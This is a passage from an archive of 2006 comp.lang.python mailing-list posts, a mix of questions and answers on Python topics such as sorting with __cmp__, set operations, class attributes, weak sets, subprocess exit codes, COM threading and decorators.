some of the details here, because I don't want to say what > > I'm actually doing. > > > I have a special-purpose class with a __cmp__ method all set up and > > ready to go for sorting. Then I have a special class that is based on > > the builtin type list (though I didn't actually inherit list; I > > probably should). When I create an instance with 2 or more items, and > > attempt to sort it, I get this strange error message: > > > >>>> myList.sort() > > Traceback (most recent call last): > > File "", line 1, in > > File "[listModulePath]", line 239, in sort > > self.listOfObjects.sort() > > TypeError: an integer is required > > > > The sort method's code is exactly what you see; it's a one-line method. > > > > The only thing I can think of is the __cmp__ method is returning > > something other than an integer, which it's not. > > Does stuffing the objects in a standard list and sorting them work? How > does the __cmp__-method look like? Whoops, I had created the variable returnValue in __cmp__, but forgotten to return it. Now it works. That was a dumb mistake; sorry for the trouble. From tim.peters at gmail.com Wed Oct 25 20:16:03 2006 From: tim.peters at gmail.com (Tim Peters) Date: Wed, 25 Oct 2006 20:16:03 -0400 Subject: Dealing with multiple sets In-Reply-To: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> Message-ID: <1f7befae0610251716o2bdc2a24v89b2d2616e9bb212@mail.gmail.com> [John Henry] > If I have a bunch of sets: > > a = set((1, 2, 3)) > b = set((2, 3)) > c = set((1, 3)) > .... > > What's the cleanest way to say: > > 1) Give me a list of the items that are in all of the sets? (3 in the > above example) list(a & b & c) > 2) Give me a list of the items that are not in all of the sets? (1,2 in > the above example) list((a | b | c) - (a & b & c)) From gioco at nekhem.com Fri Oct 6 07:12:13 2006 From: gioco at nekhem.com (Corrado Gioannini) Date: Fri, 6 Oct 2006 13:12:13 +0200 Subject: Why do this? In-Reply-To: References: Message-ID: <20061006111213.GA3318@zephyr> On Fri, Oct 06, 2006 at 10:09:14AM +0000, Duncan Booth wrote: > I hope you have a good reason why you don't do: > > cursor.execute(a_complex_select_sql, (id_foo, value_bar, ...)) > > instead. hehe. i was just trying to be didactic, simplifying the actual situation. (anyway, sometimes i had to print, or store, the sql statement, or to execute the same sql statement on different databases etc. etc..) regards, c. -- no, sono sempre io, non mi cambierete quel che ho dentro forse ho solo un'altra faccia ho pi? cicatrici di prima, sorrido un po' meno, forse penso di pi?. (Kina) From fredrik at pythonware.com Sun Oct 22 11:29:04 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 22 Oct 2006 17:29:04 +0200 Subject: Why I cannot Exit python shell ?? In-Reply-To: <1161530672.565105.5770@i42g2000cwa.googlegroups.com> References: <1161530672.565105.5770@i42g2000cwa.googlegroups.com> Message-ID: Jia Lu wrote: > After using python shell (IDLE) for a while, I typed commands below > to exit . But error ocurred. > >>>> raise SystemExit > > Traceback (most recent call last): > File "", line 1, in > raise SystemExit > SystemExit >>>> sys.exit(0) > > Traceback (most recent call last): > File "", line 1, in > sys.exit(0) > SystemExit: 0 >>>> dir() > ['__builtins__', '__doc__', '__name__', 'os', 'sys', 'time'] > > Why?? because IDLE catches all exceptions, including SystemExit. to quit IDLE, just type "quit()", or close the window. From ilias at lazaridis.com Tue Oct 10 23:52:16 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 10 Oct 2006 20:52:16 -0700 Subject: Python component model In-Reply-To: References: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> Message-ID: <1160538736.856864.175990@i42g2000cwa.googlegroups.com> Robert Kern wrote: > Edward Diener No Spam wrote: ... > >> You'll definitely want to take a look at Enthought's Traits (disclaimer: > >> I work for Enthought). I'm supposed to be on vacation now, so I'm not > >> going to give you the full rundown of Traits and Traits UI, so I'm > >> simply going to point you to the page we have about it: > >> > >> http://code.enthought.com/traits/ > > > > It looks as if traits is an attempt to create a "property" in the > > component terminology which I originally specified. I will take a look > > at it. > > It also provides an event model and a declarative UI layer as well as several > other things besides. looks interesting. what about persistency? . From bignose+hates-spam at benfinney.id.au Tue Oct 10 20:26:50 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 10:26:50 +1000 Subject: Is a list static when it's a class member? References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> Message-ID: <87odsj8zp1.fsf@benfinney.id.au> "glue" writes: > I have a class with a list member and the list seems to behave like > it's static while other class members don't. It's not "static"; rather, it's a class attribute, by virtue of being bound when the class is defined. Those are shared by all instances of the class. > The code... > > class A: > name = "" > data = [] This runs when the class is defined, creates two new objects and binds them to the attribute names "name" and "data". All instances will share both of these unless they re-bind the names to some other object. > def __init__(self, name): > self.name = name This defines a function that runs on initialisation of a new instance of the class, and re-binds the attribute name "name" to the object passed as the second parameter to __init__. The binding that occurred when the class was defined is now irrelevant. This is known as "shadowing" the class attribute; you've re-bound the name to a different object. > def append(self, info): > self.data.append(info) This defines a function that runs when the 'append' method is called, and asks the existing object bound to the "data" attribute -- still the one that was bound when the class was defined -- to modify itself in-place (with its own 'append' method). -- \ "None can love freedom heartily, but good men; the rest love | `\ not freedom, but license." -- John Milton | _o__) | Ben Finney From ldo at geek-central.gen.new_zealand Mon Oct 9 00:16:27 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 17:16:27 +1300 Subject: Why do this? References: Message-ID: In message , Tim Golden wrote: > [Matthew Warren] > | But nowadays, I see things like this all over the place; > | > | print("There are %s ways to skin a %s" % (number, furryanimal)) > > The outermost brackets are (at the moment) unnecessary in python, > altho' print is slated for replacement by a function in Python 3.0 > at which point they'll be necessary. Why bother? What would then be the advantage of using print over sys.stdout.write? I thought the existing print statement was a convenience for interactive use, newbie tutorials and the like. If it's going to become a function, why not use the function that's already there? From gerrit at nl.linux.org Fri Oct 13 18:44:46 2006 From: gerrit at nl.linux.org (Gerrit Holl) Date: Sat, 14 Oct 2006 00:44:46 +0200 Subject: Best IDE? In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <20061013224446.GA18563@topjaklont.student.utwente.nl> On 2006-10-13 16:31:37 +0200, Ahmer wrote: > Subject: Best IDE? cat > foo.py > How much does it cost? 0 From tim.peters at gmail.com Thu Oct 5 13:29:50 2006 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 5 Oct 2006 13:29:50 -0400 Subject: weakSet In-Reply-To: <1160067184.086527.20420@e3g2000cwe.googlegroups.com> References: <1160067184.086527.20420@e3g2000cwe.googlegroups.com> Message-ID: <1f7befae0610051029j4640e2aey42defd64894fabaa@mail.gmail.com> [jean.philippe.mague at gmail.com] > Has anyone ever think about a set wich references its elements weakly ? Yes, and there are excruciating subtleties. I only implemented as much of one as ZODB needed at the time: # A simple implementation of weak sets, supplying just enough of Python's # sets.Set interface for our needs. class WeakSet(object): """A set of objects that doesn't keep its elements alive. The objects in the set must be weakly referencable. The objects need not be hashable, and need not support comparison. Two objects are considered to be the same iff their id()s are equal. When the only references to an object are weak references (including those from WeakSets), the object can be garbage-collected, and will vanish from any WeakSets it may be a member of at that time. """ For the rest ;-), including discussion of excruciating subtleties that arise even implementing this little, see: http://svn.zope.org/ZODB/trunk/src/ZODB/utils.py From larry.bates at websafe.com Tue Oct 17 12:21:04 2006 From: larry.bates at websafe.com (Larry Bates) Date: Tue, 17 Oct 2006 11:21:04 -0500 Subject: Return returns nothing in recursive function In-Reply-To: References: Message-ID: <453502F0.40103@websafe.com> Matt, You should consider not using the long footer on posts to comp.lang.python. It doesn't make a lot of sense there. -Larry > This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. > > You should not copy the email, use it for any purpose or disclose its contents to any other person. > Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. > It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. > > UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK > Reception Tel: + 44 (0) 115 977 1177 > Support Centre: 0845 607 7070 > Fax: + 44 (0) 115 977 7000 > http://www.digica.com > > SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa > Tel: + 27 (0) 21 957 4900 > Fax: + 27 (0) 21 948 3135 > http://www.digica.com From martin at v.loewis.de Wed Oct 11 00:53:28 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 11 Oct 2006 06:53:28 +0200 Subject: Funky file contents when os.rename or os.remove are interrupted In-Reply-To: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> Message-ID: <452C78C8.9080305@v.loewis.de> Russell Warren schrieb: > Any insight from someone with knowledge of the internal operations of > os.remove and/or os.rename would be greatly appreciated, although I > expect the crux may be at the os level and not in python. Just to confirm what others have said: Python has nothing to do with that. It calls the relevant Win32 API rather directly. Then, Windows has nothing to do with it, either. It calls the routines of the file system driver rather directly. It's the FAT file system that may suffer from metadata corruption in case of power loss. If you lose power on a disk that has a FAT file system on it, you need to run chkdsk before using the file system again, and you *still* may see corruption. As others have said: use NTFS if you want a reasonable chance of getting in a clean state in case of a power loss. Regards, Martin From hpsekhon at googlemail.com Mon Oct 2 11:57:52 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 16:57:52 +0100 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: <452133F1.5050401@holdenweb.com> References: <452125F8.8070106@googlemail.com> <45213245.3000808@googlemail.com> <452133F1.5050401@holdenweb.com> Message-ID: <45213700.5050907@googlemail.com> I'm sorry, this may seem dense to you but I have to ask. What on earth are you talking about? Why is it shifted 8 bits to the left? Why is there bitshifting at all? Why doesn't commands give the same exit value as os.system() and the unix cli? When you choose to exit a program you give it a return value to exit with, so why would this change, I exit with the number 1 then expect that number to be the exit code, right? Where do these higher numbers come into the equation and why? Please assume that I am not a mind reader and require explanation before I can understand. Perhaps you aren't a mind reader either and don't know why the writers of the commands lib chose to do this insanity either? It seems the os.system() guys did the right thing, I wonder why commands.getstatusoutput doesn't... Having just tested it manually with a shell script returning 2, commands.getstatusoutput did give the exit code as 512, so it does seem to generically shift the exit code 8 bits to the left or multiply it by 256 for those of us who need some more straight talking... ugg, perhaps it's time to stop using this thing and use a better lib module. any explanations welcome... -h Hari Sekhon Steve Holden wrote: > A famous Holden typo - it should have been "12 * 256 == 3072", but > really it shouldn't have been beyond you to perform a division of 3072 > by 12 (given that you already knew the number 12 was potentially > involved). > > Basically the value you want is shifted up 8 bits. Perhaps I should > more understandably have said: > > 12 << 8 == 3072 > > regards > Steve > > Hari Sekhon wrote: >> I don't quite understand what you are saying here: >> >> 2 * 256 is 512, >> 2 ** 256 is some extremely large number. >> >> 2**12 is 4096. >> >> So how does 3072 factor into this? >> >> Could you explain what you mean by "the error in the top half of a >> sixteen-bit value"? >> >> This makes no sense to me at this moment. >> >> -h >> >> Hari Sekhon >> >> >> >> Steve Holden wrote: >> >>> Hari Sekhon wrote: >>> >>> >>>> I'm running a command like >>>> >>>> import commands >>>> result = commands.getstatusoutput('somecommand') >>>> print result[0] >>>> 3072 >>>> >>>> >>>> However, this exit code made no sense so I ran it manually from the >>>> command line in bash on my linux server and it gives the exit code >>>> as 12, not this weird 3072 number. >>>> >>>> So I tried os.system('somecommand') in the interactive python shell >>>> and it too returned the same result for the exit code as the unix >>>> shell, 12, but re-running the commands.getstatusoutput() with the >>>> exact same command still gave 3072. >>>> >>>> >>>> Is commands.getstatusoutput() broken or something? >>>> >>>> >>>> -h >>>> >>>> >>> No, it's just returning the error code in the top half of a >>> sixteen-bit value. You will notice that 3072 == 2 * 256. >>> >>> That's always been the way the Unix return code has been returned >>> programattically, but the shell shifts it down to make it more usab;e. >>> >>> regards >>> Steve >>> >>> > > From http Fri Oct 20 21:55:01 2006 From: http (Paul Rubin) Date: 20 Oct 2006 18:55:01 -0700 Subject: Customize the effect of enumerate()? References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com> Message-ID: <7xfyditoui.fsf@ruckus.brouhaha.com> "Dustan" writes: > Can I make enumerate(myObject) act differently? No. > Why the funny behavior, you ask? For my class A, it doesn't make sense > to number everything the standard programming way. Add an enumerate method to the class then, that does what you want. Maybe dict.iteritems would be a better example to follow. From bignose+hates-spam at benfinney.id.au Tue Oct 3 21:41:47 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 04 Oct 2006 11:41:47 +1000 Subject: PEP 358 and operations on bytes References: <20061003172441.GA28391@topjaklont.student.utwente.nl> <87k63gj41g.fsf@benfinney.id.au> <7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar> Message-ID: <87ejtoj1r8.fsf@benfinney.id.au> Gabriel G writes: > At Tuesday 3/10/2006 21:52, Ben Finney wrote: > > >Gerrit Holl writes: > > > - str methods endswith, find, partition, replace, split(lines), > > > startswith, > > > - Regular expressions > > > >Looking at those, I don't see why they wouldn't be useful for *all* > >sequence types. Perhaps there needs to be a 'seq' type containing > >those common methods, that is the superclass of 'str', 'bytes', > >'list', 'tuple' et cetera. > > find() could be useful sometimes. > But what means partition, replace, split, etc on a generic sequence? >>> "spamandeggs".partition("and") ('spam', 'and', 'eggs') >>> ["foo", "bar", "spam", "baz", "quux", "wibble"].partition("spam") (["foo", "bar"], ["spam"], ["baz", "quux", "wibble"]) >>> "spamandeggs".startswith("spam") True >>> ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith("foo") True i.e. the 'str' methods can be seen as operating on a sequence of characters; their 'str' return values are likewise sequences of characters. That can be generalised to a sequence of the same type as the instance; so, in the examples above, the 'list' methods operate on sub-lists. Perhaps not all of the mentioned methods make sense for all sequence types. But I think it would be useful to have a common set of functionality available for all sequence types, in a common ancestor. -- \ "He may look like an idiot and talk like an idiot but don't let | `\ that fool you. He really is an idiot." -- Groucho Marx | _o__) | Ben Finney From Benjamin.Barker at gmail.com Sun Oct 8 09:19:22 2006 From: Benjamin.Barker at gmail.com (Ben) Date: 8 Oct 2006 06:19:22 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160313168.683964.242350@c28g2000cwb.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> <1160313168.683964.242350@c28g2000cwb.googlegroups.com> Message-ID: <1160313562.355853.259070@i42g2000cwa.googlegroups.com> Using Fredericks advice I managed to track down the problem - it was really very stupid. I had accidentally cast the list to a string earlier in another part of the code. Its a bit of an anticlimax really - not mysterious at all (just mysteriously remiss on my part) Apologies for not simple posting the entire code earlier on - but thanks for everyone for puttin up with me, and in particular to Frederick for his very useful hint :-) Cheers, Ben John Machin wrote: > Ben wrote: > > ...and when I print out the string, it is still formatted as one would > > expect a list to be: > > > > "['01', '02', '03', '04']" > > > > We know that. Fredrik deduced it and told you well over an hour ago. > > Show us the code that is creating instances of the panel class ... > > panel1 = > panel(number=?,level=?,location=?,mops=????????????????,matrix=?) > What are you passing as the 4th positional arg > ^^^^^^^^^^^^^^^^^^^^^^^ ??? From aahz at pythoncraft.com Mon Oct 2 10:43:09 2006 From: aahz at pythoncraft.com (Aahz) Date: 2 Oct 2006 07:43:09 -0700 Subject: PyCon proposals (was Re: PATCH: Speed up direct string concatenation by 20+%!) References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com> <1159552048.354214.198180@e3g2000cw <1159762765.943691.139690@b28g2000cwb.googlegroups.com> Message-ID: In article <1159762765.943691.139690 at b28g2000cwb.googlegroups.com>, Larry Hastings wrote: >Steve Holden wrote: >> >> I think your project might make a very >> interesting PyCon paper for people who were thinking about joining the >> development effort but hadn't yet started. > >Perhaps; I've never been to PyCon, but it might be fun to give a >presentation there. That said, it would be way more relevant if the >patch got accepted, don'tcha think? Not really. The principles involved are timeless, and I guarantee you a large audience regardless of whether the patch gets accepted (provided you specify an appropriate presentation title and summary). -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "LL YR VWL R BLNG T S" -- www.nancybuttons.com From surendra.lingareddy at gmail.com Tue Oct 24 18:53:42 2006 From: surendra.lingareddy at gmail.com (Suren) Date: 24 Oct 2006 15:53:42 -0700 Subject: Stylesheet not respected Message-ID: <1161730422.793144.289690@f16g2000cwb.googlegroups.com> I was able to the see weird stylesheet behavior on opera, IE and mozilla under mod_python. Here is some python code that exhibited the behavior. I have the body.css in the same folder as this file and the background is set to blue. When I access it at http://localhost/test.py, the html page shows Hello World with no blue background. If i view source, copy into test.html, launch it in browser, everything is good. Does the lack of .html extension in the address bar cause trouble? from mod_python import apache def handler(req): req.content_type = 'text/html' req.write(""" Hello World Hello World """) If I inline the style, it works fine. Any ideas why this happens? From tejovathi.p at gmail.com Fri Oct 13 00:28:07 2006 From: tejovathi.p at gmail.com (Teja) Date: 12 Oct 2006 21:28:07 -0700 Subject: COM and Threads In-Reply-To: <1160712022_1597@sp6iad.superfeed.net> References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160712022_1597@sp6iad.superfeed.net> Message-ID: <1160713687.665650.221900@b28g2000cwb.googlegroups.com> Roger Upole wrote: > "Teja" wrote: > >I have an application which uses COM 's Dispatch to create a COM based > > object. Now I need to upgrade the application to a threaded one. But > > its giving an error that COM and threads wont go together. Specifically > > its an attribute error at the point where COM object is invoked. Any > > pointers please?????? > > > > An actual traceback would help. > At a guess, when using COM in a thread > you need to call pythoncom.CoInitialize and > CoUninitialize yourself. > > Roger Actually Roger, this is the scenario.... I create a COM object at the beginnning of the main thread. In the sub thread, I need to access the same instance of the COM object. If it were a normal object ie. not a COM obj, i was able to do it. But if it were a COM object, its giving an attribute error? Should I pass a COM object to the thread. If so How? Please let me know ASAP... Thnks From umut.tabak at student.kuleuven.be Wed Oct 25 09:39:43 2006 From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be) Date: 25 Oct 2006 06:39:43 -0700 Subject: To remove some lines from a file In-Reply-To: <1161783176.859081.79100@m73g2000cwd.googlegroups.com> References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> <1161783176.859081.79100@m73g2000cwd.googlegroups.com> Message-ID: <1161783583.094477.280360@i3g2000cwc.googlegroups.com> Thanks, I have learnt sth from the library BTW. Regards On Oct 25, 3:32 pm, "Jerry" wrote: > Very inelegant, but you get the idea: > > counter = 0 > > f = open("test.txt") > for line in f.readlines(): > if line[0] != "$" and counter < 2: > counter += 1 > continue > else: > print line, > > -- > Jerry From johnjsal at NOSPAMgmail.com Wed Oct 25 15:13:26 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 19:13:26 GMT Subject: cleaner way to write this? In-Reply-To: <7x8xj4i5gq.fsf@ruckus.brouhaha.com> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Oh, I see. You really want something like repeat...while, which Python > doesn't have. Anyway I start to prefer something like (untested): > > def create_db_name(self): > try: > while True: > dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', > 'Create New Database') > if dlg.ShowModal() != wx.ID_OK: > return None > db_name = dlg.GetValue() > if db_name: > return db_name > pop_up_error_dialog("please enter a value or press cancel") > finally: > dlg.Destroy() Interesting. Some variation of this might suit me, but I think one other problem I'm having is that the ShowModal() method returns whenever a button is pressed, so even if OK is pressed with an empty string in the box, the dialog disappears and returns an "OK" value. I'll have to check in the wxpython group on how to handle this one, I think. From leipold at ace-net.com Tue Oct 10 10:18:07 2006 From: leipold at ace-net.com (Walter S. Leipold) Date: Tue, 10 Oct 2006 10:18:07 -0400 Subject: (semi-troll): Is Jython development dead? Message-ID: John Roth (JohnRoth1 at jhrothjr.com) wrote: > I've had a couple of inquiries about Jython support > in PyFIT, and I've had to say that it simply isn't > supported. The latest point release requires Python > 2.3, and 2.4 will be required in the next year or so. > > John Roth > Python FIT Just last month, Sun hired Charles Nutter and Thomas Enebo to work on JRuby full-time. Can somebody with some street cred (like the PSF) do something to persuade Sun to support Jython the same way? -- Walt From onurb at xiludom.gro Thu Oct 5 04:13:43 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 05 Oct 2006 10:13:43 +0200 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: <4524beb9$0$310$426a74cc@news.free.fr> gord wrote: > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. For example, all I see in > the tutorials are lots of examples of list processing, arithmetic > calculations - all in a DOS-like environment. s/DOS-like/command line/ The command line interface is widely used on unix-like systems, and is very handy for a lot of things. > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. Disappointing ? Python is a general-purpose, cross-platform language, not a Windows-only GUI-only environment. What you're looking for does exist, but as 3rd part libs and programs. You could check Boa Constructor (a wxPython based Delphi-like RAD/IDE), or any combination of a Windows-compatible GUI toolkit / GUI builder / IDE. > How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? Ever tried writing a cross-platform web application server with any of these "big 3" ? > I realize that these > programming packages are quite expensive and Windows-only, and proprietary... > now while Python is free free as in "free beer", yes, but also free as in "free speech". And Python is portable too (most of my programs would run on Windows or MacOS X or BSD etc without any modification). > (at least > for the package I am using - ActivePython). > Please discuss where Python shines. Application programming and admin scripts. Note that application programming doesn't imply GUI - I'm mostly doing web development FWIW. Now if you're doing Windows-only, Python is quite good with COM/ActiveX etc AFAIK. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From jcd at sdf.lonestar.org Tue Oct 24 11:25:58 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Tue, 24 Oct 2006 09:25:58 -0600 Subject: Default location while open an Excel file References: <1161313718.200425.130220@i3g2000cwc.googlegroups.com> Message-ID: Try this: >>> import os >>> os.getcwd() 'C:\\Python24' I ran it from the interpreter. Dunno what it does from a script in an arbitrary location. YMMV. Cheers, Cliff From steve at holdenweb.com Sun Oct 22 21:02:51 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 02:02:51 +0100 Subject: Customize the effect of enumerate()? In-Reply-To: <1161557776.637735.92650@k70g2000cwa.googlegroups.com> References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com> <1161557776.637735.92650@k70g2000cwa.googlegroups.com> Message-ID: <453C14BB.4070104@holdenweb.com> Simon Forman wrote: > Dustan wrote: > >>Can I make enumerate(myObject) act differently? >> >>class A(object): >> def __getitem__(self, item): >> if item > 0: >> return self.sequence[item-1] >> elif item < 0: >> return self.sequence[item] >> elif item == 0: >> raise IndexError, "Index 0 is not valid." >> else: >> raise IndexError, "Invalid Index." >> def __iter__(self): return iter(self.sequence) > > > That final else clause is a little funny... What kind of indices are > you expecting that will be neither less than zero, greater than zero, > or equal to zero? > Good defensive programming albeit of a somewhat extreme nature. Should one of the tests be removed at a later date the else clause will trap occurrences of the no-longer handled case. > >>Why the funny behavior, you ask? For my class A, it doesn't make sense >>to number everything the standard programming way. Of course, if >>someone uses enumerate, it's going to number the items the same way as >>ever. Is there any way to modify that behavior, any special function to >>set? There doesn't appear to be, according to the docs, but it never >>hurts to make sure. > > > You can write your own enumerate function and then bind that to the > name 'enumerate'. > Yes, but if you do you had better make sure that it gives the standard behavior for normal uses. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From johnjsal at NOSPAMgmail.com Wed Oct 4 19:15:30 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 04 Oct 2006 19:15:30 -0400 Subject: can't open chm files all of a sudden In-Reply-To: References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> Message-ID: <4524412c$0$16606$c3e8da3@news.astraweb.com> Keith Perkins wrote: > I used HTMLKit when I still used Windows, and liked it a lot. It's really > a great HTML/PHP, etc. editor, if you can get past the front page. > That being said (if I remember correctly) hh.exe is a part of htmlkit, and > may have been the the cause of your problem by making itself the default > chm reader. (Check your settings under files to see what you have as the > default reader now. (and sorry, forgot how to do that, it's been almost > two years since I've had to fiddle with Windows, so I'm not sure of the > exact place to check for it.)) > Keith Thanks for the response. I checked and hh.exe is the default, but should it not be? It seems like the official program to open CHM files. From martin at v.loewis.de Wed Oct 4 16:27:52 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 22:27:52 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45225A1C.8060106@v.loewis.de> <1159975907.085831.44790@k70g2000cwa.googlegroups.com> Message-ID: <45241948.3080605@v.loewis.de> skip at pobox.com schrieb: > No, actually switching trackers can be one big pain in the ass. You > probably aren't aware of how hard it's been for the Python development team > (I think Martin v. Loewis, mostly) to get tracker data out of SF. An > explicit requirement was that any tool chosen as a SF replacement be able to > easily export its database to avoid this sort of "lock-in" in the future. While I put quite some effort into getting data out of SF, it was Fredrik Lundh who eventually implemented the solution that we'll use: screen scraping. My efforts to get data out of SF "officially" were futile. Regards, Martin From fredrik at pythonware.com Fri Oct 6 02:28:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 08:28:29 +0200 Subject: help on pickle tool In-Reply-To: <1160115558.554509.292870@c28g2000cwb.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> <1160115558.554509.292870@c28g2000cwb.googlegroups.com> Message-ID: <4525F78D.5010200@pythonware.com> MonkeeSage wrote: > YAML is a little more complex a little? when did you last look at the spec? > and a little more mature. than JavaScript's expression syntax? are you sure you're not confusing libraries with standards here? (has anyone even managed to write a YAML library that's small and simple enough to be "obviously correct"?) From apardon at forel.vub.ac.be Fri Oct 13 05:08:01 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 13 Oct 2006 09:08:01 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-12, Magnus Lycka wrote: > Antoon Pardon wrote: >> Well maybe he didn't intend that, but how is the reader of the >> documentation to know that? The reader can only go by how >> things are documented. If those are not entirely consistent >> with the intend of the programmer, that is not the readers >> fault. > > I don't think I ever assumed that it was right to call functions > with keyword arguments if they weren't defined with keyword > parameters, I'm not sure I follow here. AFAICS, you can't define keyword parameters. You can give default values to parameters but this is orthogonal to calling a function with keywords. If we somehow want to seperate parameters in those that can be used with a keyword and those that don't it has to be something different than providing a default value to that parameter. -- Antoon Pardon From neoedmund at gmail.com Wed Oct 18 01:36:05 2006 From: neoedmund at gmail.com (neoedmund) Date: 17 Oct 2006 22:36:05 -0700 Subject: I would like write some data recovery software In-Reply-To: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> Message-ID: <1161149765.298525.260450@h48g2000cwc.googlegroups.com> gel wrote: > I would like to write some data recovery software as a learning thing. > The sort of thing that you would use to recover data from a currupt HDD > or floppy etc. I would like to be pointed in the right direction as > far as modules to use and suggested approaches. what kind of recovery? disk broken into pieces and recover from it? From bbull at optiosoftware.com Thu Oct 19 09:43:49 2006 From: bbull at optiosoftware.com (WakeBdr) Date: 19 Oct 2006 06:43:49 -0700 Subject: Can I use decorators to manipulate return type or create methods? Message-ID: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> I'm writing a class that will query a database for some data and return the result to the caller. I need to be able to return the result of the query in several different ways: list, xml, dictionary, etc. I was wondering if I can use decorators to accomplish this. For instance, I have the following method def getUsers(self, params): return users.query(dbc) To get the appropriate return types, I also have these methods. I have these convenience methods for every query method in my class. def getUsersAsXML(self, params): return self._toXML(self.getUsers(params)) def getUsersAsDict(self, params): return self._toDict(self.getUsers(params)) def getUsersAsList(self, params): return self._toList(self.getUsers(params)) Instead of creating these three methods for every query method, is there a way to use decorators to manipulate the return type. I'd still like to have the caller use getUsersAsXML, I just don't want to write the AsXML methods for every query method. So the decorator would essentially create the convenience methods instead of me coding them. One solution that I don't want to use is passing a variable into the query method that determines the return type. This is what I don't want to do. def getUsers(self, params, returnType): Any ideas on how I can accomplish this? thanks From kay.schluehr at gmx.net Mon Oct 16 05:55:39 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 16 Oct 2006 02:55:39 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> <1160811657.449049.78940@m73g2000cwd.googlegroups.com> <1160843099.978973.235560@k70g2000cwa.googlegroups.com> <45335619$0$12918$426a34cc@news.free.fr> Message-ID: <1160992539.451117.143310@i42g2000cwa.googlegroups.com> Bruno Desthuilliers wrote: > Just for the record : Ruby's code-blocks (closures, really) come from > Smalltalk, which is still the OneTrueObjectLanguage(tm). IsTheOneTrueObjectLanguage(tm)ReallyCamelCased? From john106henry at hotmail.com Tue Oct 31 13:01:21 2006 From: john106henry at hotmail.com (John Henry) Date: 31 Oct 2006 10:01:21 -0800 Subject: ANN: Leo 4.4.2.1 final released In-Reply-To: <6Zx1h.77$uA3.75@newsfe04.lga> References: <1162143217.977375.290570@i42g2000cwa.googlegroups.com> 